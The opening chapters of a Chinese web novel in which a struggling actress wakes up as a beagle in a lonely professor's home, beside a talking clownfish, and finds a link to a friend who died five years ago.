《快使用双截棍》
1. 算卦还是塔罗牌?
“醒醒,嘿,那女孩,醒醒。”
夏焰睡得迷迷糊糊,突然听到头顶上方传来声音。
“什么东西……”她头痛欲裂,摇摇脑袋试图清醒过来。
“你醒了就过来把桌子上的鱼粮投进来几颗。我大兄弟上班前又忘记给我投饭,长这么大容易吗我,我就说我迟早要离家出走……”
夏焰抬头看见高高的透明玻璃后有团金黄色的东西在不停地左右上下游动,她眨眨眼想看清楚是什么东西。
“诶诶,发什么楞呢?我都快饿死了。”
声音的主人继续指挥着她。
“跳到那个凳子上,再从凳子上跳到桌面来。”
夏焰还想再问点什么,身体却不由自主地动作起来。
轻盈一跃就到凳子上,再一跃,就挂在了玻璃鱼缸口。和里面的一条金黄小丑鱼对视,它的鳞片在暖黄小灯下闪闪发光,一抹鲜艳的红擦在它身上,更加鲜艳夺目。
夏焰想要寻找声音的来源。
“看啥呢老妹儿?我都张嘴了还不知道往这扔?”
鱼?!
鱼会说话?!
“大惊小怪!你还是小狗呢,你不也会说话。”
夏焰疑惑的伸出一只手,看见一只毛茸茸的爪子正被她操控着轻轻抬起。
她吓得另一只手也松开,扑通一声跌进鱼缸里。
夏焰在闭上眼的前一秒最后见到的是那双滑稽的鱼眼睛。
她想起前一天的试镜,导演当着在场所有人的面说她是死鱼眼。
“把你放在电影屏幕上,镜头一放大是想吓死观众吗?”
夏焰讪笑着垂下眼皮盖住眼睛。
她的眼睛不大不小,长得很标致,但是黑黑的眼瞳下面露出条窄窄的白,给她带来不少麻烦。
按照导演的话来说她不符合电影美学,不合观众眼缘。
夏焰不记得这是今年来第几次碰壁。
她只好又打电话给经纪人告诉她这个消息。
“他眼睛都快瞎了能看见个啥!”电话里传来经纪人低声的怒吼。
她的经纪人最近忙得不可开交,被公司派去给一个新出道的艺人做支援帮助,对方几乎一夜成名,成为炙手可热的新星,公司上下对她极为重视。
反观自己,快要被公司忘记。
“盛姐……我才说了一句词,他就让我停下。”夏焰的声音在最后哽咽起来。不管经历多少次,她还是会感到难堪。
“没事,没事宝贝。你听我说,后面暂时没有试镜安排了,姐给你安排放个长假,你去休息一下,上哪玩玩,这段时间辛苦了,休息转换下心情。”
手机那头正热闹,夏焰听不太真切她的声音。
“好。”夏焰回她。
沈盛是夏焰的签约公司派给她的经纪人,当年大学刚毕业愣头青一个,就被安排给这个正在转型阵痛期的小童星。
当年同期的三人组,有人飞升了,有人离开了。
只有她的日子过得是相当的平淡,因为没有工作。
偶尔接到的工作戏份也是排到女五号以后,有次接到女三号的电影,俩人兴奋得一晚没睡着觉。
后来才知道是曾经作为武打演员的姥姥动用了一些人脉,想让小孙女开心一下。
结果被夏焰母亲知道了,说她这样会害惨了夏焰,让她不懂得自立自强。
姥姥心疼小孙女,但也没法反驳强势的女儿,只好嘟囔着保证不再插手夏焰的工作,只在生活上给予支助。
独立。
独立。
独立。
从夏焰第一次走进学校校门开始,妈妈就把这句话挂在嘴边,仿佛她一夜之间就长大成人,不再需要大人的庇护。
她走在回家的小路上,夏夜的风也是热的,吹得人烦躁,此时此刻很想给妈妈打个电话,向她撒娇,向她诉苦。
可是她不能。
但电话接通了。
“喂?”
“……”
“喂?焰焰怎么啦?说话呀。”
“没事,就想问问你……吃饭了吗?”
她听见电话那头轻笑,“还没呢,妈妈还在工作。你吃了吗?”
“我吃过了。”她又连忙补充,“吃的牛肉面。”
对面没有继续回复,只有对接工作的声音。
她等了很久,最后说:
“妈妈你也赶快吃饭吧。”
电话挂断了。
她呆立在街头,便利店的灯光照得她发冷打颤。
深呼吸决定继续向前走,被一个深红横幅挡住去路,上面写着四个大字:
拒绝算命
下面还有排小字:
自己主宰命运
想要绕过横幅,却听到身侧传来吆喝声:
“福祸相生,吉凶难料。小姑娘缘分至此,何不卜上一卦,看看运势如何。”
“……只求一碗泡面钱。”
她抬头才看见摊位上挂着各种卡通气球,摊位广告写着,翻译,算命,打官司。
夏焰看他一眼,对方戴着墨镜在黑暗里露出八颗洁白牙齿。
夏焰转过头来加快速度想要离开这里。
“诶诶诶女施主,善哉善哉,我看你有困惑,何不来试试解惑呢?”
“我不信这些。”话音刚落,她有些懊悔为什么要搭理他。
果然对方借着她的话难缠起来。
“别急着走嘛,不信这个我还有别的。”说着放下了八卦图,拿出了一套塔罗牌。
夏焰表情扭曲,双腿却不由自主地走向这个奇葩的摊位。
反正就在便利店正门口,也不会出什么事。
她刚坐下,对方就问道:
“你想算点什么?先说好,不算生死,不算考试,啊当然也不能算彩票数字。”
“……”
“那你算什么啊!”
“嘿怎么说话呢!”老头竖起根手指,笑着说,“年轻人,当然是算算你的事业和姻缘喽。”
“好吧,那你算算我什么时候能接到好工作。”
老头嘿嘿一笑,分开五个指头晃晃:“先扫码。”
夏焰从包包里掏出手机,扫他的二维码。
听到支付宝到账的声音,老头示意她抽出几张牌,然后像打斗地主一样把牌搂在手里。
“看,这张牌是……宝剑九,意思是……我看看……”他翻出本塔罗入门,也不避人。
“你到底是不是正规军?”
夏焰在心里暗自吐槽,想要起身离开,又舍不得那50块,还是决定听听老头能说出什么胡话来。
“啊!小友,你这个事业好像有些不好啊!要经历一番波折,和,和什么,我看看……”
他又掏出放大镜,一个字一个字念。
“什么啊?”
“莫慌莫慌,容老夫写在纸上。”
夏焰看他一边摸着长胡子一边用毛笔写下几个字。
伸手接过折得方方正正的字条。
老头一把抓住她想要打开字条的手,偏头努嘴向一旁示意,一辆巡逻车正准备停靠路边。
两位交警动作迅速,拉开车门下车往俩人这边走来。
“天机不可泄露,走远了再打开。”
老头一边低声对她说,一边收拾桌上的东西准备跑路。
夏焰捏紧手心里的字条,老头让她站起来,他抽走她屁股下的凳子,夹着东西迅速逃离。
“别跑,又是你!”
瘸腿的老头拄着拐杖健步如飞,在斑马线上冲刺,想要甩掉俩人,结果被警察同志扯住胳膊按住,他还想要争辩点什么。
夏焰感觉自己的大脑被夏夜的风铲平了。
她用力搓搓脸,自嘲道:“这是在做什么?”
她穿过十字路口,不由自主地走到小桥上,因为白天的暴雨,此刻桥下的河水仍然湍急。
正是下晚自习的时间,学生们吵吵闹闹结伴而行,夏焰扶着桥柱听着他们的声音。
孤独总是如影随形。
今天先是受到剧组打击,又遇到莫名其妙的算命先生,她不知道还有什么惊喜在等待她。
只要能打
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破孤独。
河水不停拍打岸边,溅起的水花好像隔空拍在她的手臂上,凉悠悠的,顺走她手上的热气,再从指尖一跃而下。
就如同五年前她的好友从桥上一跃而下。
对方留给夏焰的最后一条讯息是想要看她的电影。
电影。
夏焰很久没拍过电影了,连工作也很少接到,所以今天才来算命,算出来的结果呢?
在纸条上。
纸条还捏在手心里。
夏焰手心的汗快要把字条完全浸湿,她小心翼翼一点点拆开字条,心跳如鼓。
里面写着四个字。
命运多舛。
所以她花了50块钱买了个命运多舛吗?夏焰气笑了,突然想要一头从桥上跳下去。
她把那张字条几下撕得粉碎,脑袋里不停咀嚼那句,命运多舛。
想要流泪,喘不上气来,她垂眼又遮住黑白眼瞳。
接着一头晕栽过去。
等她再次醒来,正跟着那条小丑鱼大眼瞪小眼。
“你救了我。”
“拉倒吧我咋救你,我撑死了能给你吐俩泡泡烘托下气氛。”
“你自己会游泳,狗都会游泳,狗刨,知道吧。”
“你会说话。”
“你刚才才说过一遍。”
“可你是鱼。”
“啧,你还是狗呢。”
“狗?”
对,狗。
“你还有耳朵呢。”
夏焰伸手朝头上摸摸。
两片软软的耳朵垂在两侧。
“这明明是垂耳兔。”
“呃当然要是垂耳兔比比格狗更让你有认同感的话,我也愿意称呼你为垂耳兔,毕竟你知道世界之大,无奇不有,有的物种就是认为自己是另一个物种,上星期来这的一条斑点狗看了两集《动物世界》非觉得自己是斑马,吵着要回大草原,隔壁那个小鹦鹉就觉得自己是人……”
“可我真的是人。”夏焰打断它滔滔不绝的发言,扭身想看看自己的尾巴。
她的尾巴在跟她玩捉迷藏,她还没能驯服短短的四肢,在和尾巴进行一番斗争后,以左脚踩住右脚摔个狗爬式结尾。
把她摔得彻底清醒。
好痛。
这不是做梦。
她真的变成小狗了。
夏焰颓丧地靠着鱼缸坐着,听着小丑鱼隔着玻璃对她安慰道:“没事的老妹儿,每个狗都有觉醒的一天,在某一天突然间就意识到了自己的真实身份,也许会有点悲伤,但这并不能阻止它们勇往直前,你的每一根狗毛都闪耀着自由的光辉。”
夏焰无力地回头看它一眼,拍了拍鱼缸,对方贴心地游到另一边给她适应时间。
夏焰伸出两只爪子使劲抓扯耳朵,直到痛到想要流泪才放手。
想要仰头长啸,结果发出一阵狗叫。
“哎呦没事的。你看这里多好,有吃有喝还能看电视。”小丑鱼安慰道。
“我怎么到这里来的?”
“昨晚大毛二毛把你叼在门口,我兄弟下班回来在门口把你抱进来的。”
“大毛二毛?”
“小区里的流浪狗,我兄弟给她们盖了个小窝,她们经常来看他,时不时送点小礼物。”
它不禁感慨道:“我兄弟真是好人,还是大学教授,智商也高,就是脑子不太好使。明明家里就没人和他说话,天天下班回来还要喊‘我回来啦’也不知道说给谁听。”
“这下好了,你来了!”
“可我现在是小狗。”夏焰用爪子摸摸玻璃又摸摸腿,最后摸到嘴巴上,短粗的嘴筒子,让她有些不适应。
“能有个声响他就很高兴了。”说着兴奋地围着珊瑚快速绕圈。
她摊平身体,躺在地上。
静静放空脑袋,在这个小小的,毛茸茸的身体里,她感觉大脑都变小了,让她无法思考。
这时突然听见门锁传来滴滴声。
身旁的小丑鱼吐出一连串泡泡。
她看见男人推门而入,声音愉悦:“我回来啦。”
2. 相框尘封的往事
夏焰吃力地抬起短短的上半身,看着男人低头换鞋,接着按开客厅灯。
暖白灯光把屋子照的通亮,她才大概看清楚屋里的布局。
简单又协调。
她和鱼缸在靠墙的位置,看着男人一步步动作。
他把公文包轻放在茶几上,解开手表,走进洗手间里,听见水龙头水声哗哗流淌,然后看他擦着手走出来,扭头四处张望。
夏焰靠着鱼缸,和鱼一起看他一会蹲下看看桌底,一会又拉开抽屉翻找东西,什么也没找到。
摸了摸额头,站在电视柜前面沉默而立。
“鱼。他在干嘛?”夏焰压低声音,怕让他听到。
“叫我尼莫。”说着向她吐出泡泡,“没事,他脑袋有毛病。”
接着就看它冲出水面,来了个漂亮的甩尾,再扑通一声掉回。
声音吸引了男人的注意。
他的眼睛一亮,一下就锁定住她们。
“原来在这里。”
一狗一鱼微张嘴巴楞楞看着他。
看着他快步走近,展开双臂。
“来吧兄弟,给我一个热情的拥抱,上班幸苦了。”尼莫陶醉地环抱住自己,鱼鳍扭来扭去。
夏焰尴尬地看着它的动作,想要出声制止这个不文明行为,却被一双有力的大手抱住举起。
“原来你在这里。”
像举起狮子王辛巴一样举起夏焰,在柜子顶部小灯的照射下,夏焰俯视男人的脸,周正的五官,薄薄的唇,嘴角此刻正微微弯起。
她不自在地扭动身体,想挣脱他的双手,结果被他用一只手固定在胸前。
“怎么了?不认识我了?”
你谁啊。
谁会一进来就抱着人家自言自语啊。
她紧绷着身体奋力挣扎,男人顺势低头吻在毛茸茸的头顶,接着是热乎乎的耳朵。
清脆响亮的一声吻。
她傻眼了,忘记挣扎,被他托着屁股抱在怀里,扭头看见他嘴唇正下方一颗淡淡的痣,被阴影遮盖,只有离得很近很近才能看清。
“还没有吃东西吗?怎么肚子扁扁的。”
男人抱着她往房间里走,她的爪子搭在男人的肩头,看见尼莫焦急地胡乱游着,发出低沉怒吼:“whocareme!”
呦,还是外国鱼。
等她再次双脚落地,发现进入了一个充满童趣的新房间。
房间里的顶灯是一架卡通飞机,蓝色的墙纸上还有奥特曼的贴画。
她紧贴着他的腿,小心翼翼观察屋内的布局装饰。
这是谁的房间。
“这是我的房间。”
夏焰被他突然的搭话吓一跳,好像对方能听见自己的心声一样。
“那你还挺有童心的。”
她用爪子拍拍墙壁上的贴画,是《小王子》里的小狐狸,正和小王子坐在一起看落日。
男人笑着从桌上拿出一袋狗粮,拉过她的两只手,到一个瓷制饭盆前。
“我不知道你喜欢吃哪种。”说着举起狗粮包装到她的眼前,“店员都推荐这款,我就买回来了,你尝尝看,不喜欢我还买了别的。”
狗粮倒在碗里发出脆脆声响,他就这样微笑着看着她,期待着她的动作。
在期待什么?
夏焰也不看那被堆得高高的狗粮,直直盯着看他。
“你不饿吗?”
男人笑容消失了,伸手摸摸她的脑袋,语气急切:“哪里不舒服吗?”
用手叉过小狗两只手,把她抱起来,轻掰她的嘴巴,想看看她的牙齿。
喂!这是干嘛!
差点失去手指的男人检查完牙齿,又把她放平,揉揉她的肚子。
士可杀不可辱!
来啊!
决战吧!
夏焰龇牙咧嘴向他宣战。
男人看到她精神好多了,放下心来,把她再次抱到饭盆前。
柔声说道:“吃吧,吃吧。”
温柔的声音传进夏焰的耳朵里,耳朵热乎乎的,心口也热乎乎的。
怎么耳朵都盖住了还能听这么清楚。
夏焰一边想着一边用力甩甩耳朵。
然后操纵着短短的身体,还不太熟练地走着,绕过比她身子还大的饭盆,然后一只脚搭在饭盆边上,对着男人摆摆小狗爪,示意他靠近。
“怎么了?”
男人靠近她。
“汪——汪!”
我不吃狗粮!
一声巨大的汪声穿过男人的耳膜,震得他脑袋嗡嗡作响。
紧接着看见面前的小狗优雅地一脚蹬开又大又重瓷饭盆,好像笑着向他挑衅。
男人却兴奋地将她一把抱起。
“天呢,宝宝你力气好大。”
喂……
夏焰为了躲避他闪闪发亮的崇拜目光,无力地仰过头去。
“嗡——嗡——”屋外的手机在电视柜上发出震动,在这个安静的环境里更加突出。
“喂,砚之啊。”
“老师您说。”
林砚之一只手抱着狗,一只手拿过手机点开外放,又放回桌子上,重新抓出一把狗粮,试图让夏焰张嘴。
夏焰一边摇头抵抗,一边偷听着他们的对话。
“那个上报名单我已经帮你交了。”
“谢谢老师。”
“没事没事,但是上头的意思呢,说是有可能先让另一个老师去,你还年轻嘛是不是?万一这次没选上,也还有机会有时间是不是?”
还是个倒霉蛋。
夏焰撑着耳朵偷偷听着,在心里默默评价。
不知道是不是表情太过奸诈,两只眼睛都露出心虚的眼白,被林砚之用下巴轻磕了下脑袋。
“汪汪。”
你干嘛?
痛诶!
他对着她毛毛的脑袋吹气,吹得更加毛茸茸。
“砚之啊?”
“老师。”
“你在家吗?怎么听到狗叫?”
“啊,是我家的小狗,特别淘气。”他加重了最后两个字。
夏焰捂着脑袋倒在他手臂里哼哼唧唧。
“好好好,养个小狗好,你一个人太孤单了,不找对象也没个人和你说说话,有小狗在也热闹点。你早点休息,砚之。”
“老师也早点休息。”
说完电话就挂断了。
“真的不吃啊?不饿吗?”
伸手想要摸摸她的肚子,被她用爪子制止。
“好吧,那你饿了要自己吃,好吗?”
他把她稳稳放在沙发上,转身向鱼缸走去。
“你想起我来了兄弟,你终于想起我来了!来来来投准点,啊。”
尼莫长大嘴巴等着男人的投喂。
结果林砚之与它擦肩而过走进了厨房,准备给自己做晚饭。
“啥意思?这是啥意思?兄弟已经不值钱了呗。这小妞在你眼里才是最重要的是不是!为了她你要饿死我是不是!要是苍天有眼,就劈死这个负心汉,多少个日夜只有我陪伴。”
“你吵死了。你刚刚才吃完,也不怕撑死。”夏焰捂着耳朵出声制止。
“噢这样吗?我怎么不记得了。”
夏焰试图两只脚站立走路,结果歪歪扭扭,头重脚轻撞到柜脚,把柜子上鱼缸里的尼莫震得一抖。
“地震了!妹儿是不是地震了!我感觉到了!那种细微的震感!”
夏焰被实心木头撞得头晕,一下子瘫倒在地。
林砚之端着还冒着热气的碗出来,看到躺在地上的小狗,连忙放下碗筷,跑过去把她抱起。
“怎么了?”
晕。
“怎么了这是?”
我都说了晕,你耳朵聋是不是,还晃我,呕…
干呕一声把他急坏了,从桌子上顺手拿了个杯子接水喂给她喝。
“我忘记小狗要喝水了。对不起宝宝。”
呕…你怎么不忘记吃饭拉屎呼吸空气。
等到她咕噜咕噜喝了一气才觉得整个狗身缓过劲来,嗅觉也恢复正常,开始闻
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到碗里飘出的香味,肚子跟着咕咕作响。
林砚之犹豫着避开肉酱用筷子卷了一点面条递到她的嘴边。
她张嘴咬住筷子,慢慢把面条吸进嘴里,嘴筒子蹭到他的手背,吧唧吧唧嘴,示意他再来点。
一筷子接着一筷子,林砚之动作慢了还要挨打,终于大半碗下去,小狗摆摆手让他退下。
四肢摊平在大理石餐桌上,肚皮高高鼓起,随着她的呼吸一起一伏。
林砚之悄悄伸手摸摸她柔软的肚子。
“会不会吃太多了?”
看你那小气样,吃两口面还不乐意了。
“我不是不让你吃啊,是怕你吃多了不舒服。”
像是又连上了夏焰的蓝牙能听到她的心里话。
夏焰略有所思地撑起身子,直视男人的眼睛,男人也看着她的两个豆豆眼。
“你吃吧我要去消消食。”
自顾自说完翻身要跳下桌子,被林砚之手快接住,放她下地。
她甩着身后还不太能控制的尾巴,尝试着用四肢慢慢走着,像巡视领地一样在屋里转悠。
走进一个稍大的房间,里面摆放着一个双人床旁边还有一个梳妆台。路过一面贴满奖状的墙壁,她仔细看过去,发现都是林砚之在小学初中时候获得的奖状,上高中以后就没有了。
噢,上高中就跟不上了。
小狗咂咂嘴,怪可惜的。
她还在里面看到一张“家务小能手”的奖状,底下有两个签名,她想可能是他的父母。
真是幸福的家庭。
夏焰从小到大在母亲那里得到的夸赞屈指可数。
她有些落寞地抚摸那些泛黄的奖状。
这些东西早就在岁月的洗礼下失去原来崭新的面目,她扫视整个屋子,突然意识到这个屋子的陈设好像并不符合现在的审美,散发着淡淡霉味的实木柜子在这个地方一言不发地被留存很多年。
温馨的家庭已经褪色泛黄。
这里充满了陈旧的人情味。
唯一没有泛黄的是被放进相框里保存的照片,在另一边的墙壁上挂着几张照片。
刚出生的婴儿在父母的怀里放出来到这个世界的第一声啼哭。
男孩第一次参加运动会拿到了长跑比赛第二名的成绩,摔掉了两颗晃动的乳牙。
初中毕业时和父母一起站在学校的石雕面前,迎接新阶段的来临。
再然后是他一个人穿着博士服站在大学校训前平静到有些冷漠地看向镜头。
一个人孤零零的照片,让夏焰莫名有些低落,她发现最上面还有个相框,但是她看不到,决定站到梳妆台上去看。
她小心地用前爪扒住凳子边,撑着上半身发力,把自己拱上去,再用同样的方法爬上梳妆台,扶着墙壁慢慢站起来伸头看。
她一眼就看到穿着白衬衣的林砚之,站在一群穿着军训服的大学生里格外显眼。她顺着林砚之的脸接着其他学生看,发现男人确实英俊周正,在一群被训得脸红脖子粗的学生面前像开了滤镜一样。
她扫视着,目光突然被一个面孔吸引。
瓜子脸的女孩正对着镜头放声笑着,夏焰仿佛听见她的笑声就在自己的耳边。
那是她死去的朋友,方昉。
心脏在砰砰狂跳,居然会在这里见到五年前意外离世的朋友。
仅仅是一张照片就调动她所有的情绪。
她下意识再靠近点,爪子贴住壁纸,脚下踩着圆扁的护肤品外壳,伸直身体去够相框。
没想到外壳在脚下滑动,她慌乱中把脸跌撞上镜子,发出闷响。
“怎么了?!”
男人的声音从房间外传来,还有他焦急的脚步声。
夏焰扶着镜子坐起身来,看到了镜子中的自己。
一只泪眼朦胧的比格犬,胸前有一块淡黄色的不规则印记,她诧异片刻微微侧身,看向耳朵,左耳的淡棕色毛毛在耳朵上构成一块标准的爱心。
这是方昉去世前捡到的小狗。
她绝不会认错。
3. 变成小狗也会做梦吗?
夏焰决定离家出走。
不对,是决定要回家。
她在林砚之的房间里有一个毛绒小窝,林砚之叫她在这里睡觉。
夏焰还处在惊恐中瑟瑟发抖,发出阵阵呜咽。
林砚之拿毯子把她裹紧,抱紧怀里,低声安慰。
“吓坏了吧,没事的。”他温凉的脸侧贴住夏焰的脸,“没事的,别害怕。”
“呜呜呜呜呜。”
小狗压抑的哽咽声让男人心痛,像哄小宝宝睡觉那样,轻轻拍着她的后背。
“哦哦不哭了,没事的,我们睡觉吧,好吗?”
等她终于不再抽泣,林砚之试图把她放下,让她到窝里好好睡一觉。
结果对方紧紧扒住他的手,说什么也不松开。
“小狗不能上床睡觉的。”
“呜呜呜呜呜呜呜呜。”
“好吧。”
夏焰缩在薄薄的夏凉被里,窝成一团,拱来拱去,要找个舒服的姿势入睡。
看着林砚之安详平躺,两只手叠放在肚子上,和她说晚安。
“晚安小狗宝。”
把你枕头给我睡。
“你怎么了?”
我要睡枕头。
“你睡不着啊?爸爸抱着吧。”
你找死啊!
“来吧。”说着抓着她暖烘烘的身体放在胸前。
吃屎吧你!
一个青蛙跳跳到男人脸上,两只爪子在他脸上一边给了一个红彤彤的印子。
男人的鼻息喷洒到她的肚子上,让她痒痒的。
夏焰最终获得了枕头使用权。
她趴在竖着放的枕头上,枕头和她被一起环进男人臂弯里。
变成小狗也还会做梦吗?
夏焰很久没有梦见那个大她五岁的方昉。
她在五岁时参演的第一部电影是外婆的封山作,演艺生涯里最后一部武打片。
她不记得她是怎样完成表演的,只知道每个人都付出了百分百的努力。
其中的年仅十岁的方昉最让人印象深刻。
在寒冬腊月里穿着夏日戏服,薄薄的裤子甚至没法遮住她的脚,她蹲坐在一边,旁边是她的母亲或者是经纪人。
脚踝冻的青紫,她吸着鼻涕,看向被外婆抱在怀里的夏焰。
冷呢。
在梦里也冷。
可她下一秒又觉得热。
热浪冲到夏焰的皮鞋上,她接过方昉递给她的雪糕,另一只手掌张开,对方放上一只知了猴。
把她吓得一抖。
对方哈哈大笑,清脆的笑声感染着她,她也傻乎乎地跟着大姐姐笑。
她们坐在被烤得热乎乎的台阶上,方昉把节节草打开夹在夏焰的睫毛上给她拍照。
夏焰喜欢这个时髦的姐姐,她总是有自己的想法。她那些超脱于同辈的想法在夏焰的世界里爆炸开来,深深扎根。
“燕燕。”她打开手机编辑刚才拍的照片,“拍完这个我就不拍了,我去大学里要学动物医学,我不想和人打交道。”
“动物?”
雪糕被热化了顺着夏焰的手臂流下,她歪头想要舔干净,被方昉制止,掏出纸巾给她擦干净,还有她脏兮兮的嘴巴。
“燕燕,我在门口捡到了一只小狗,但是它的脖子上有项圈,我在等它的主人联系我。”
“没法解约呢。”
“它的主人一直没有联系我呢,我准备先养着它。”
“违约金太高了。”
“你看它的耳朵上有块爱心!”
“不,你不用担心,你才多大呀,我会慢慢还的。”
“我要去带它遛弯。”
“燕燕晚安。”
“我司旗下艺人方昉于昨夜凌晨意外离世,我们万分悲痛,方昉生前对自己事业高要求,导致压力过大,我司未能及时发觉并给予心理疏导是极大疏忽,感谢粉丝一直以来的支持,也理解各位的心情,但和方昉家人商量决定将遵循方昉生前要求,葬礼一切从简,不组织追悼会。也恳请各位公众媒体不要肆意抹黑,逝者已逝,避免不必要的误会和打扰。”
“愿逝者安息。”
黑白照片里还充满热气的眼睛直看着每一个到场的人。
丧钟宛如一把锋利的剪刀剪开黑夜幕布的一个缺口,直等人一把撕裂,幕布之后究竟是白天还是黑夜。
“我一定要找到你。”
夏焰的脑袋逐渐清晰,思维不再跳跃旋转,她被雷声吵醒,揉着眼睛撑起头来。
耀眼的白刺进屋子,把屋子照的通亮,紧接着一声巨大的雷声在耳边炸开。
她下意识颤抖,倒回柔软的床褥里,手指紧攥着洁白的被套。
却被一只温暖的大手轻拍手背安抚。
“轰隆隆——”
又一声。
她看向一旁的陈兰修,看向他的手,正握住她的手。
她的手!五指分明的手!人的手!
她猛地低头看向自己的身体,正穿着前一天试镜穿的纯黑色连衣裙,纯棉材质的触感夺回真实的一面。她慢慢把另一只手探进衣领,人生第一次这样认真抚摸自己的身体。
夏焰确定自己变回了人类。
她轻轻拉开林砚之覆在她手背上的手,蹑手蹑脚走进房间卫浴。
夏焰不敢开灯,她在黑暗里看向镜子里的自己,一双“鱼眼”,诡异而阴森,她几乎要被自己吓得落泪。
下眼白是鱼儿的肚白,眼尾是鱼儿的鱼尾,睫毛投在那的阴影是鱼儿的鱼鳍。
对这幅模样她感到好陌生,居然只过了两天更是让她诧异。
她用手指勾勒镜子里的自己。
“夏焰,你的形象太深入人心了,观众看你演别的会出戏的。”
“这些年哪里还有人拍武打片?趁着年轻赶紧想办法转行吧,也别去做什么武替,把身体都搞坏了。”
夏焰不想要转行,就喜欢电影。
所以她要转型,而且必须要转型,不仅是顺应时代发展,也是想要试着跳出家里人为她规划的未来蓝图。
像自由的鸟。
但她还不够自由吗?母亲对她的期望不就是独立吗?她的内心开始动摇。
你究竟想要什么?
夏焰觉得头晕,摇摇摆摆打开浴室门,听见林砚之的声音。
“小宝。”
她的头不受控制向后一仰,彻底失去意识。
“小宝,我要走了,我要去上班挣钱,回来给你买好吃的。”
夏焰被林砚之揉醒,模模糊糊地难受悲伤,让她提不起精神。
“听到我走这么难过啊,不行啊,我要去上班才能赚钱。”
夏焰有气无力地抬起手,毛茸茸的狗爪一张一合。
又变成小狗了吗?
还是昨晚是梦?
男人摸着狗狗的后背说着,“要不今天请假一天?反正今天也只是复习课,而且我从来都没请过假。昨晚你起来嘘嘘吗?我在卫生间门口找到你,你睡得肚皮都翻过来了哈哈。”
说着伸手戳戳她的肚子。
夏焰麻溜地爬起身来向他侧腰来了个飞踢。
“汪——”
赚钱去吧你。
就看他一步三回头,不舍得和夏焰说拜拜。
路过鱼缸时抓了把鱼粮投进去。
“你好像又圆润了。要不替我上班去吧。”
“哥们吃你两口饭你说这些!”
“终究是错付了!今后再让我吃你家的饭可是不能了!”
“小宝拜拜。”
夏焰坐在地上挠挠耳朵。
“小宝拜拜。”
咋还不走?
“拜拜。”
夏焰烦他啰嗦,举起爪子向他挥挥手。
终于把他送走了,夏焰开始寻找储备粮,准备一会路上当干粮。
“妹儿。”
夏焰翻到一个盼盼小面包,但是不知道过期没有。
“妹儿!”
“干嘛!”
“开电视开电视,现在是娱乐时间。”
“你还会看电视呢?”
“每个生物都有享受生活的权利,只是有的生物要995,就那个就那个《海底总动员》”
夏焰一下一下按着遥控器按键,给它调了电视,又去翻东西,半个身子钻进储物柜,丢出来一堆泡面还有火腿肠。
“尼莫,狗能不能吃火腿肠。”<
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p>“我是鱼。”
“好吧。”
她决定还是揣上,以防万一。
她从林砚之的卧室衣柜里找出来一个非常非常小的束口袋,塞了小面包和火腿肠就塞不进别的东西了,她把袋子背在背上。
鼓起勇气走进放有照片的卧室,但是不敢再次看向那张照片,她只是爬上梳妆台,认真仔细地看镜子里的自己。
阳光透过米白色的窗帘,照在梳妆台上,照在梳妆台面的一双爪子上,暖洋洋的。
她发现桌面上摆的一些瓶瓶罐罐都消失了,可以放心大胆地踏步。
“尼莫,我要走了。”
“海底小纵队,集合!呱唧,启动海底报告!”
“我怎么感觉是盗版呢?”
“尼莫,我走了。”
“什么?!你要去哪?现在不是上幼儿园的时候。”
“我要回家了。”
“你有主人?那我兄弟咋办?”
“他什么咋办?”
“我以为你们已经有了感情,你看他早上那个样子。”
夏焰不自在地摇摇尾巴。
“别啊,你一个人走丢了怎么办。你就在这等你主人来找你不行吗?”
“要是没人来找我呢?”夏焰紧张地站起来扒着柜脚看它。
“那不是更好,不是我的意思是那这就是你家了,我们一家三口不好吗?”
“好吧好吧,那你带上我,要是找不回家我还能把你带回来。等你找到家了让你主人再把我送回我家。”
“我怎么带着你?你是鱼。”
“啊啊啊啊啊我不管你就是得带着我!我过目不忘一目十行,游过的路我记得清清楚楚。从海鲜店被带回来那一路我记得可清了。”
夏焰歪着脑袋笑:“你刚才吃饭没?”
“没啊,他又忘了给我喂食,还真有点饿了,来来来你投点进来,啊。”说着长大了嘴。
夏焰面对着它后退着到门前,结果一靠近门把手,尼莫就尖叫,像防盗系统一样,震的她耳朵痛。
尼莫指挥她把一个圆形塑料瓶接满水,放到鱼缸出水口的位置。
“你拍一下这个按钮,它就放水,我等会从这个口游出来跳到瓶子里。”
通道一开,鱼缸里的水竞相涌出,等尼莫准确无误落进瓶子里,夏焰赶紧关上开关,这时鱼缸里的水已经流出去一大半。
“我们闯祸了。”
夏焰看着地上的水渐渐蔓延开,用爪子拍了拍水发出啪啪声。
“没办法啦,这不是小狗和小鱼能够处理的问题,我们出发吧。”
夏焰用绑窗帘的窗帘绳绕过瓶子和口袋一左一右垂在身体两侧。
有点犹豫地看着一地的积水,想了想还是去厕所叼了块毛巾下来铺在地上。
一狗一鱼一根火腿肠一个小面包,就这样朝着征途出发了。
“你确定是往这边走?”
“确定。”
“你再说一遍?”
“几乎……人家来的时候是坐的小汽车啦,你现在四条腿怎么比得过人家四个轮子。”
“我要把你倒进下水道里。”准备解开绳子威胁它。
“啊啊啊哼哼哼别别别,我们去问问大毛二毛,他俩肯定知道。”
尼莫指挥着夏焰在居民小区里左拐右拐,时不时还要躲避汽车的攻击。
“真是没有素质诶,居民楼里开这么快干嘛,差点撞到我们。”
夏焰摔倒在灌木丛里,尼莫在塑料瓶里旋转,好像被丢进洗衣机一样可怜。
不过却意外找到了大毛二毛的窝。
正在匍匐休息的大毛被惊动,它是一只中华田园犬,身上还沾有泥巴,身后是一个可以遮风避雨的木头小窝。
“什么事?”它站直身子,显得更加高大。
夏焰有点害怕,不太敢靠近它,甩甩身侧的塑料瓶让尼莫说话。
“等下,我有点晕车。”尼莫慢慢开口向大毛求助,“大毛姐,这个小阿妹要回家,你给她带带路吧。”
“嗯嗯我给您带了火腿肠。”
夏焰伸手去够包里的火腿肠,却被对方出声打断。
“回哪里的家?这里就是你家。”
4. 速度七十迈
“为什么不能?这又不是我的家!我有家的!”
“你被丢在河边差点淹死,有人来找过你吗?”
“什么?淹死?”夏焰被它的话唬住,在正午阳光下竟然有点冒冷汗。
“我们这两天一直在河边守着,除了一个醉汉躺在草坪里呼呼大睡,根本没人来找你。”
“想要淹死你的会不会是你的主人呢?”它突然龇出尖锐的犬牙,对她示威。
“不是的。”她声音低弱,垂下头,用爪子扒拉着那颗狗尾巴草。
“你怎么知道?”
她当然知道,因为她不是小狗,也没有主人。
“好啊那走吧,去看看你主人有没有发现你的失踪。”它利落地甩动全身毛发,抖落身上的灰尘,略过夏焰,站到草丛口,回头看向她。
“走吧。”
说完转头迈步离开。
尼莫也撞晃瓶子示意她跟上大毛。
